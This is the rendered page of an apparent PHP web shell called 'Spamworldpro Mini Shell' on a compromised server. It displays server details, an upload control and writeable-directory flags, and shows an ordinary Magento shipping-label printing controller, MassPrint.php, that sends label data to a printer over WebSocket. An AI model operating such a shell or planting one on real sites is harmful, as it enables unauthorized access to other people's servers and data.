Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/extmag/shiplab/Controller/Adminhtml/Printer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/extmag/shiplab/Controller/Adminhtml/Printer/MassPrint.php
<?php
/**
 * Copyright © Extmag. All rights reserved.
 */

namespace Extmag\Shiplab\Controller\Adminhtml\Printer;

use Exception;
use Extmag\Shiplab\Controller\Adminhtml\Printer;
use Extmag\Shiplab\Model\Label;
use Extmag\Shiplab\Model\ResourceModel\Label\Collection;
use Magento\Backend\Model\View\Result\Redirect;
use Magento\Framework\Exception\FileSystemException;
use WebSocket\Client;

class MassPrint extends Printer
{
    /**
     * Authorization level of a basic admin session
     *
     * @see _isAllowed()
     */
    public const ADMIN_RESOURCE = 'Extmag_Shiplab::shiplab_labels_index';

    /**
     * @return Redirect
     * @throws FileSystemException
     */
    public function execute()
    {
        $documentType = $this->getRequest()->getParam('document_type');
        $namespace = $this->getRequest()->getParam('namespace');
        $ids = $this->getRequest()->getParam('selected');
        $trackingNumber = $this->getRequest()->getParam('tracking_number');
        $port = $this->manager->isAllowedLocalPrint();
        $resultRaw = $this->resultRawFactory->create();
        $labelsData = ['labels' => [], 'port' => $port];
        /**
         * @var Collection $collection
         */
        if ($documentType == 'label') {
            $collection = $this->collectionFactory->create();
            $collection->addFieldToFilter('status', 1);
            if ($namespace == 'labels') {
                $collection->addFieldToFilter('entity_id', ['in' => $ids]);
            } else {
                if ($namespace == 'orders') {
                    $collection->addFieldToFilter('order_id', ['in' => $ids]);
                } else {
                    if ($namespace == 'shipments') {
                        $collection->addFieldToFilter('order_sub_type', 'shipment')
                            ->addFieldToFilter('order_sub_id', ['in' => $ids]);
                    } else {
                        if ($namespace == 'refunds') {
                            $collection->addFieldToFilter('order_sub_type', 'refund')
                                ->addFieldToFilter('order_sub_id', ['in' => $ids]);
                        }
                    }
                }
            }

            if (!empty($trackingNumber)) {
                $collection->addFieldToFilter('tracking_number', ['finset' => $trackingNumber]);
            }

            try {
                /**
                 * @var Label $model
                 */
                foreach ($collection as $model) {
                    if ($model->getExtension() != 'virtual'
                        && $model->getExtension() != 'link'
                        && (
                            $namespace == 'labels' || $model->getIsPrinted() == 0 || $this->manager->getConfig(
                                $model->getCarrierCode() . "_printing/general/mass",
                                $model->getStoreId(),
                                $model->getTypeDirection()
                            ) == "all"
                        )
                    ) {
                        if ($this->manager->isThermalLabel($model->getExtension()) !== true) {
                            $pdfData = $this->pdf->getPdfPages($model, $documentType, null, $trackingNumber);
                            if (!empty($pdfData)) {
                                $labelsData['labels'][] = [
                                    'data' => base64_encode($pdfData->Output('', 'S')),
                                    'category' => $model->getCarrierCode(),
                                    'ext' => 'pdf',
                                ];
                            }
                        } else {
                            if ($this->manager->isThermalLabel($model->getExtension()) === true) {
                                $trackingNumbers = $model->getTrackingNumbers();
                                foreach ($trackingNumbers as $track) {
                                    if (empty($trackingNumber) || $trackingNumber == $track) {
                                        $thermalData = $this->thermal->getLabelData(
                                            $model->getCarrierCode(),
                                            $track,
                                            $model->getExtension()
                                        );
                                        if (!empty($thermalData)) {
                                            $labelsData['labels'][] = [
                                                'data' => $thermalData,
                                                'category' => $model->getCarrierCode(),
                                                'ext' => $model->getExtension(),
                                            ];
                                        }
                                    }
                                }
                            }
                        }

                        $model->setIsPrinted(1);
                        $this->labelRepository->save($model);
                    }
                }
            } catch (Exception $e) {
                $this->messageManager->addErrorMessage($e->getMessage());
            }
        } else {
            $collection = $this->collectionFactory->create()->addFieldToFilter(
                'entity_id',
                ['in' => $ids]
            )->addFieldToFilter('status', 1);
            if ($collection->count() > 0) {
                $ext = 'pdf';
                if ($documentType == 'hvr') {
                    $ext = 'html';
                }
                /**
                 * @var Label $model
                 */
                foreach ($collection as $model) {
                    $fileData = $this->thermal->getFileData(
                        $model->getCarrierCode(),
                        $model->getMasterId(),
                        $ext,
                        $documentType
                    );
                    if (empty($fileData)) {
                        if ($documentType == 'hvr') {
                            $ext = $model->getExtension();
                            $fileData = $this->thermal->getFileData(
                                $model->getCarrierCode(),
                                $model->getMasterId(),
                                $ext,
                                $documentType
                            );
                        }
                    }
                    if (!empty($fileData)) {
                        $labelsData['labels'][] = [
                            'data' => base64_encode($fileData),
                            'category' => $model->getCarrierCode(),
                            'ext' => $ext,
                        ];
                    }
                }
            }
        }

        if ($this->manager->getStoreConfig('extmag_printers/local/type') == 'network') {
            try {
                $labelsData['network'] = "1";
                $address = $this->manager->getStoreConfig('extmag_printers/local/network_host');
                $port = $this->manager->getStoreConfig('extmag_printers/local/network_port');

                $client = new Client("ws://" . $address . ":" . $port . "/ws");

                /* Send instructions. */
                foreach ($labelsData['labels'] as $labelsDatum) {
                    $msg = json_encode($labelsDatum);
                    $client->send($msg);
                }
                $lastMessage = '{"queue_end": "1"}';
                $client->send($lastMessage);
                $bufStack = $client->receive();
                $labelsData['response'] = $bufStack;
                $client->close();
            } catch (Exception $e) {
                $labelsData['error'] = $e->getMessage();
            }

            $labelsData['labels'] = "" . count($labelsData['labels']);

            unset($labelsData['port']);
        }

        $labelsData['application'] = $this->manager->getStoreConfig('extmag_printers/local/application');
        $labelsData['qz_printer_name'] = $this->manager->getStoreConfig('extmag_printers/local/qz_printer_name');

        $resultRaw->setContents(json_encode($labelsData));

        return $resultRaw;
    }
}

Spamworldpro Mini